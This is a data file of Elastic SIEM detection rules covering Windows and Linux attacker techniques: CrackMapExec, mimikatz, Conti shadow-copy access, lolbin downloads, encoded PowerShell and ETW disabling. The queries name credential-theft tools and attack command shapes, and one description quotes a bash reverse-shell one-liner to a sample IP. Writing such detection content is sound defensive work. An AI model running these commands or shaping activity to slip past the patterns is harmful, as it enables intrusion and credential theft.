{"description":"Detect various execution methods of the CrackMapExec pentesting framework Author: Thomas Patzke. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"0035f379-9b65-31c1-c596-89c4e0f96609","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"CrackMapExec Command Execution","query":"(process.command_line:(*cmd.exe\\ \\/Q\\ \\/c\\ *\\ 1>\\ \\\\\\\\*\\\\*\\\\*\\ 2>&1 OR *cmd.exe\\ \\/C\\ *\\ >\\ \\\\\\\\*\\\\*\\\\*\\ 2>&1 OR *cmd.exe\\ \\/C\\ *\\ >\\ *\\\\Temp\\\\*\\ 2>&1) AND process.command_line:(*powershell.exe\\ \\-exec\\ bypass\\ \\-noni\\ \\-nop\\ \\-w\\ 1\\ \\-C\\ \\\"* OR *powershell.exe\\ \\-noni\\ \\-nop\\ \\-w\\ 1\\ \\-enc\\ *))","meta":{"from":"1m"},"severity":"high","tags":["T1047","T1053","T1059","T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1047","name":"Windows Management Instrumentation","reference":""},{"id":"T1053","name":"Scheduled Task/Job","reference":""},{"id":"T1059","name":"Command and Scripting Interpreter","reference":""},{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detect VBoxDrvInst.exe run with parameters allowing processing INF file. This allows to create values in the registry and install drivers. For example one could use this technique to obtain persistence via modifying one of Run or RunOnce registry keys Author: Konstantin Grishchenko, oscd.community. License: ","enabled":false,"false_positives":["Legitimate use of VBoxDrvInst.exe utility by VirtualBox Guest Additions installation process"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"b7b19cb6-9b32-4fc4-a108-73f19acfe262","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious VBoxDrvInst.exe Parameters","query":"(process.executable:*\\\\VBoxDrvInst.exe AND process.command_line:*driver* AND process.command_line:*executeinf*)","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1112"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1112","name":"Modify Registry","reference":""}]}],"version":1,"references":[""]}
{"description":"Detecting attempts to extract passwords with grep and laZagne Author: Igor Fits, Mikhail Larin, oscd.community. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"53b1b378-9b06-4992-b972-dde6e423d2b4","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Credentials In Files","query":"((process.executable:*\\/grep AND process.command_line:*password*) OR process.command_line:*laZagne*)","meta":{"from":"1m"},"severity":"high","tags":["Credential Access","T1552"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1552","name":"Unsecured Credentials","reference":""}]}],"version":1,"references":[""]}
{"description":"Detecting DNS tunnel activity for Muddywater actor Author: @caliskanfurkan_. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"ff5ec53c-1812-07dc-5cc9-841e305018a4","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"DNS Tunnel Technique from MuddyWater","query":"(process.executable:*\\\\powershell.exe AND process.parent.executable:*\\\\excel.exe AND process.command_line:*DataExchange.dll*)","meta":{"from":"1m"},"severity":"critical","tags":["T1071"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detecting Emotet DLL loading by looking for rundll32.exe processes with command lines ending in ,RunDLL or ,Control_RunDLL Author: FPT.EagleEye. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"5c1c2e91-057a-87ae-c0af-fb933b683499","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Emotet RunDLL32 Process Creation","query":"(((process.executable:*\\\\rundll32.exe AND process.command_line:(*,RunDLL OR *,Control_RunDLL)) AND (NOT (process.parent.executable:*\\\\tracker.exe))) AND (NOT (process.command_line:(*.dll,Control_RunDLL OR *.dll\\\",Control_RunDLL OR *.dll',Control_RunDLL))))","meta":{"from":"1m"},"severity":"critical","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detecting use PsExec via Pipe Creation/Access to pipes Author: Nikita Nazarov, oscd.community. License: ","enabled":false,"false_positives":["Legitimate Administrator activity"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"d0fd9664-249f-34b4-dc57-e5d132665dc8","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"PsExec Pipes Artifacts","query":"file.name:(psexec* OR paexec* OR remcom* OR csexec*)","meta":{"from":"1m"},"severity":"medium","tags":["Lateral Movement","T1021"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0008","reference":"","name":"Lateral Movement"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1021","name":"Remote Services","reference":""}]}],"version":1,"references":[""]}
{"description":"Detection for mshta.exe suspicious execution patterns sometimes involving file polyglotism Author: Diego Perez (@darkquassar), Markus Neis, Swisscom (Improve Rule). License: ","enabled":false,"false_positives":["False positives depend on scripts and administrative tools used in the monitored environment"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"cc7abbd0-762b-41e3-8a26-57ad50d2eea3","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"MSHTA Suspicious Execution 01","query":"(process.executable:*\\\\mshta.exe AND process.command_line:(*vbscript* OR *.jpg* OR *.png* OR *.lnk* OR *.xls* OR *.doc* OR *.zip* OR *.dll* OR *.exe*))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1059","T1140","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1140","name":"Deobfuscate/Decode Files or Information","reference":""},{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detection of child processes spawned with SYSTEM privileges by parents with LOCAL SERVICE or NETWORK SERVICE accounts Author: Teymur Kheirkhabarov, Roberto Rodriguez (@Cyb3rWard0g), Open Threat Research (OTR). License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"590a5f4c-6c8c-4f10-8307-89afe9453a9d","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Child Process Created as System","query":"((ParentUser:(\"NT\\ AUTHORITY\\\\NETWORK\\ SERVICE\" OR \"NT\\ AUTHORITY\\\\LOCAL\\ SERVICE\" OR \"AUTORITE\\ NT\\\\\") AND user.name:(\"NT\\ AUTHORITY\\\\SYSTEM\" OR \"AUTORITE\\ NT\\\\Sys\") AND IntegrityLevel:\"System\") AND (NOT (process.executable:*\\\\rundll32.exe AND process.command_line:*DavSetCookie*)))","meta":{"from":"1m"},"severity":"high","tags":["Privilege Escalation","T1134"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1134","name":"Access Token Manipulation","reference":""}]}],"version":1,"references":[""]}
{"description":"Detection of sc.exe utility adding a new service with special permission which hides that service. Author: Andreas Hunkeler (@Karneades). License: ","enabled":false,"false_positives":["Intended use of hidden services"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"a537cfc3-4297-4789-92b5-345bfd845ad0","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Abuse of Service Permissions to Hide Services in Tools","query":"(process.executable:*\\\\sc.exe AND process.command_line:*sdset* AND process.command_line:*DCLCWPDTSD*)","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","Privilege Escalation","T1574"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1574","name":"Hijack Execution Flow","reference":""}]},{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1574","name":"Hijack Execution Flow","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1574","name":"Hijack Execution Flow","reference":""}]}],"version":1,"references":[""]}
{"description":"Detection of sc.exe utility spawning by user with Medium integrity level to change service ImagePath or FailureCommand Author: Teymur Kheirkhabarov. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"98c6a345-4698-5e9d-b052-0e66f0d08bbc","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Possible Privilege Escalation via Weak Service Permissions","query":"((process.executable:*\\\\sc.exe AND IntegrityLevel:\"Medium\") AND ((process.command_line:*config* AND process.command_line:*binPath*) OR (process.command_line:*failure* AND process.command_line:*command*)))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","Privilege Escalation","T1574"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1574","name":"Hijack Execution Flow","reference":""}]},{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1574","name":"Hijack Execution Flow","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1574","name":"Hijack Execution Flow","reference":""}]}],"version":1,"references":[""]}
{"description":"Detection of unusual child processes by different system processes Author: Semanur Guneysu @semanurtg, oscd.community. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"d522eca2-2973-4391-a3e0-ef0374321dae","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Abused Debug Privilege by Arbitrary Parent Processes","query":"((process.parent.executable:(*\\\\winlogon.exe OR *\\\\services.exe OR *\\\\lsass.exe OR *\\\\csrss.exe OR *\\\\smss.exe OR *\\\\wininit.exe OR *\\\\spoolsv.exe OR *\\\\searchindexer.exe) AND process.executable:(*\\\\powershell.exe OR *\\\\cmd.exe) AND user.name:(NT\\ AUTHORITY\\\\SYSTEM* OR AUTORITE\\ NT\\\\Sys*)) AND (NOT (process.command_line:*\\ route\\ * AND process.command_line:*\\ ADD\\ *)))","meta":{"from":"1m"},"severity":"high","tags":["Privilege Escalation","T1548"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]}],"version":1,"references":[""]}
{"description":"Detection use of the command \"split\" to split files into parts and possible transfer. Author: Igor Fits, Mikhail Larin, oscd.community. License: ","enabled":false,"false_positives":["Legitimate administrative activity"],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"7f2bb9d5-6395-4de5-969c-70c11fbe6b12","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Split A File Into Pieces","query":"process.executable:*\\/split","meta":{"from":"1m"},"severity":"low","tags":["T1030"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0010","reference":"","name":"Exfiltration"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1030","name":"Data Transfer Size Limits","reference":""}]}],"version":1,"references":[""]}
{"description":"Detection well-known mimikatz command line arguments Author: Teymur Kheirkhabarov, oscd.community, David ANDRE (additional keywords), Tim Shelton. License: ","enabled":false,"false_positives":["Legitimate Administrator using tool for password recovery"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"2eec101f-8d57-eb89-fe3c-118183f6db6f","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Mimikatz Command Line","query":"(((process.command_line:(*DumpCreds* OR *invoke\\-mimikatz*) OR (process.command_line:(*rpc* OR *token* OR *crypto* OR *dpapi* OR *sekurlsa* OR *kerberos* OR *lsadump* OR *privilege* OR *process* OR *vault*) AND process.command_line:*\\:\\:*)) OR (process.command_line:(*aadcookie* OR *detours* OR *memssp* OR *mflt* OR *ncroutemon* OR *ngcsign* OR *printnightmare* OR *skeleton* OR *preshutdown* OR *mstsc* OR *multirdp*) AND process.command_line:*\\:\\:*)) AND (NOT ((process.command_line:*function\\ Convert\\-GuidToCompressedGuid*))))","meta":{"from":"1m"},"severity":"medium","tags":["Credential Access","T1003","T1003","T1003","T1003","T1003"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""},{"id":"T1003","name":"OS Credential Dumping","reference":""},{"id":"T1003","name":"OS Credential Dumping","reference":""},{"id":"T1003","name":"OS Credential Dumping","reference":""},{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a base64 encoded FromBase64String keyword in a process command line Author: Florian Roth. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"fdb62a13-9a81-4e5c-a38f-ea93a16f6d7c","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Encoded FromBase64String","query":"process.command_line:(*OjpGcm9tQmFzZTY0U3RyaW5n* OR *o6RnJvbUJhc2U2NFN0cmluZ* OR *6OkZyb21CYXNlNjRTdHJpbm*)","meta":{"from":"1m"},"severity":"critical","tags":["Defense Evasion","T1059","T1140"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1140","name":"Deobfuscate/Decode Files or Information","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a base64 encoded IEX command string in a process command line Author: Florian Roth. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"6599dff4-9466-effb-773f-627c1360c087","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Encoded IEX","query":"process.command_line:(*SUVYIChb* OR *lFWCAoW* OR *JRVggKF* OR *aWV4IChb* OR *lleCAoW* OR *pZXggKF* OR *aWV4IChOZX* OR *lleCAoTmV3* OR *pZXggKE5ld* OR *SUVYIChOZX* OR *lFWCAoTmV3* OR *JRVggKE5ld*)","meta":{"from":"1m"},"severity":"critical","tags":["T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1') Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"83dcd9f6-9ca8-4af7-a16e-a1c7a6b51871","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Linux Reverse Shell Indicator","query":"(process.executable:*\\/bin\\/bash AND (NOT (destination.ip:(\"127.0.0.1\" OR \"0.0.0.0\"))))","meta":{"from":"1m"},"severity":"critical","tags":[],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects a certain command line flag combination used by devinit.exe lolbin to download arbitrary MSI packages on a Windows system Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"90d50722-0483-4065-8e35-57efaadd354d","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"DevInit Lolbin Download","query":"(process.command_line:*\\ \\-t\\ msi\\-install\\ * AND process.command_line:*\\ \\-i\\ http*)","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a certain command line flag combination used by Microsoft.NodejsTools.PressAnyKey.exe that can be used to execute any other binary Author: Florian Roth. License: ","enabled":false,"false_positives":["Other tools with the same command line flag combination","Legitimate uses as part of Visual Studio development"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"a20391f8-76fb-437b-abc0-dba2df1952c6","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"NodejsTools PressAnyKey Lolbin","query":"((process.command_line:*Microsoft.NodejsTools.PressAnyKey.exe\\ normal\\ * OR (process.command_line:*.exe\\ normal\\ * AND process.command_line:*.exe)) AND (NOT ((process.executable:*\\\\Microsoft\\\\NodeJsTools\\\\NodeJsTools*))))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a certain command line flag combination used by mpiexec.exe LOLBIN from HPC pack that can be used to execute any other binary Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"729ce0ea-5d8f-4769-9762-e35de441586d","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"MpiExec Lolbin","query":"((process.executable:*\\\\mpiexec.exe OR winlog.event_data.Imphash:\"d8b52ef6aaa3a81501bdfff9dbb96217\") AND process.command_line:(*\\ \\/n\\ 1\\ * OR *\\ \\-n\\ 1\\ *))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a certain command line flag combination used by regsvr32 when used to download and register a DLL from a remote address which uses HTTP (not HTTPS) and a IP address and not FQDN Author: Florian Roth. License: ","enabled":false,"false_positives":["FQDNs that start with a number"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"2dd2c217-bf68-437a-b57c-fe9fd01d5de8","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Regsvr32 HTTP IP Pattern","query":"(process.command_line:*\\ \\/s* AND process.command_line:*\\ \\/u* AND process.command_line:(*\\ \\/i\\:http\\:\\/\\/1* OR *\\ \\/i\\:http\\:\\/\\/2* OR *\\ \\/i\\:http\\:\\/\\/3* OR *\\ \\/i\\:http\\:\\/\\/4* OR *\\ \\/i\\:http\\:\\/\\/5* OR *\\ \\/i\\:http\\:\\/\\/6* OR *\\ \\/i\\:http\\:\\/\\/7* OR *\\ \\/i\\:http\\:\\/\\/8* OR *\\ \\/i\\:http\\:\\/\\/9*))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a change in profile.ps1 of the Powershell profile Author: HieuTT35. License: ","enabled":false,"false_positives":["System administrator create Powershell profile manually"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"181fdfc5-c0d0-2cb7-bcb7-f41729a5ed8e","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Powershell Profile.ps1 Modification","query":"(file.path:*\\\\profile.ps1* AND (file.path:*\\\\My\\ Documents\\\\PowerShell\\\\* OR file.path:*C\\:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\*))","meta":{"from":"1m"},"severity":"high","tags":["Privilege Escalation","T1546"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1546","name":"Event Triggered Execution","reference":""}]},{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1546","name":"Event Triggered Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a code page switch in command line or batch scripts to a rare language Author: Florian Roth, Jonhnathan Ribeiro, oscd.community. License: ","enabled":false,"false_positives":["Administrative activity (adjust code pages according to your organisation's region)"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"7fec3c84-cce3-3d04-e3f5-57016e4b26d8","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious Code Page Switch","query":"(process.executable:*\\\\chcp.com AND process.command_line:(*\\ 936 OR *\\ 1258))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1036"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1036","name":"Masquerading","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a command line process that uses explorer.exe /root, which is similar to cmd.exe /c, only it breaks the process tree and makes its parent a new instance of explorer Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown how many legitimate software products use that method"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"c97ed826-0cd8-1e31-11d5-ac7fbd7ecc5a","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Explorer Root Flag Process Tree Break","query":"(process.command_line:*explorer.exe* AND process.command_line:*\\ \\/root,*)","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1036"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1036","name":"Masquerading","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a command that clears or disables any ETW trace log which could indicate a logging evasion. Author: @neu5ron, Florian Roth, Jonhnathan Ribeiro, oscd.community. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"a238b5d0-ce2d-4414-a676-7a531b3d13d6","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Disable of ETW Trace","query":"((process.command_line:*cl* AND process.command_line:*\\/Trace*) OR (process.command_line:*clear\\-log* AND process.command_line:*\\/Trace*) OR (process.command_line:*sl* AND process.command_line:*\\/e\\:false*) OR (process.command_line:*set\\-log* AND process.command_line:*\\/e\\:false*) OR (process.command_line:*Remove\\-EtwTraceProvider* AND process.command_line:*EventLog\\-Microsoft\\-Windows\\-WMI\\-Activity\\-Trace* AND process.command_line:*\\{1418ef04\\-b0b4\\-4623\\-bf7e\\-d74ab47bbdaa\\}*) OR (process.command_line:*Set\\-EtwTraceProvider* AND process.command_line:*\\{1418ef04\\-b0b4\\-4623\\-bf7e\\-d74ab47bbdaa\\}* AND process.command_line:*EventLog\\-Microsoft\\-Windows\\-WMI\\-Activity\\-Trace* AND process.command_line:*0x11*) OR (process.command_line:*logman* AND process.command_line:*update* AND process.command_line:*trace* AND process.command_line:*\\-\\-p* AND process.command_line:*\\-ets*))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1070","T1562"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1070","name":"Indicator Removal on Host","reference":""},{"id":"T1562","name":"Impair Defenses","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a command used by conti to access volume shadow backups Author: Max Altgelt, Tobias Michalski. License: ","enabled":false,"false_positives":["Some rare backup scenarios"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"f57f8d16-1f39-4dcb-a604-6c73d9b54b3d","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Conti Volume Shadow Listing","query":"(process.command_line:*\\\\\\\\\\?\\\\GLOBALROOT\\\\Device\\\\HarddiskVolumeShadowCopy* AND process.command_line:(*\\\\NTDS.dit* OR *\\\\SYSTEM* OR *\\\\SECURITY* OR *C\\:\\\\tmp\\\\log*))","meta":{"from":"1m"},"severity":"medium","tags":["T1490"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0034","reference":"","name":"Impact"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1490","name":"Inhibit System Recovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a command used by conti to access volume shadow backups Author: Max Altgelt, Tobias Michalski. License: ","enabled":false,"false_positives":["Some rare backup scenarios"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"c73124a7-3e89-44a3-bdc1-25fe4df754b1","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Conti Volume Shadow Listing","query":"process.command_line:*copy\\ \\\\\\\\\\?\\\\GLOBALROOT\\\\Device\\\\HarddiskVolumeShadowCopy*","meta":{"from":"1m"},"severity":"medium","tags":["T1490"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0034","reference":"","name":"Impact"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1490","name":"Inhibit System Recovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a command used by conti to dump database Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"85be14a4-c2ec-2809-40fa-76809f3323c1","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Conti Backup Database","query":"(process.command_line:(*sqlcmd\\ * OR *sqlcmd.exe*) AND process.command_line:*\\ \\-S\\ localhost\\ * AND process.command_line:(*sys.sysprocesses* OR *master.dbo.sysdatabases* OR *BACKUP\\ DATABASE*))","meta":{"from":"1m"},"severity":"high","tags":["T1005"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0009","reference":"","name":"Collection"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1005","name":"Data from Local System","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a command used by conti to exfiltrate NTDS Author: Max Altgelt, Tobias Michalski. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"7800f3e5-79ad-292b-4a65-ae2b1c717762","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Conti Volume Shadow Listing","query":"(process.command_line:*7za.exe* AND process.command_line:*\\\\C$\\\\temp\\\\log.zip*)","meta":{"from":"1m"},"severity":"high","tags":["T1560"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0009","reference":"","name":"Collection"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1560","name":"Archive Collected Data","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a command used by conti to find volume shadow backups Author: Max Altgelt, Tobias Michalski. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"7b30e0a7-c675-4b24-8a46-82fa67e2433d","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Conti Volume Shadow Listing","query":"(process.command_line:*vssadmin\\ list\\ shadows* AND process.command_line:*log.txt*)","meta":{"from":"1m"},"severity":"high","tags":[],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
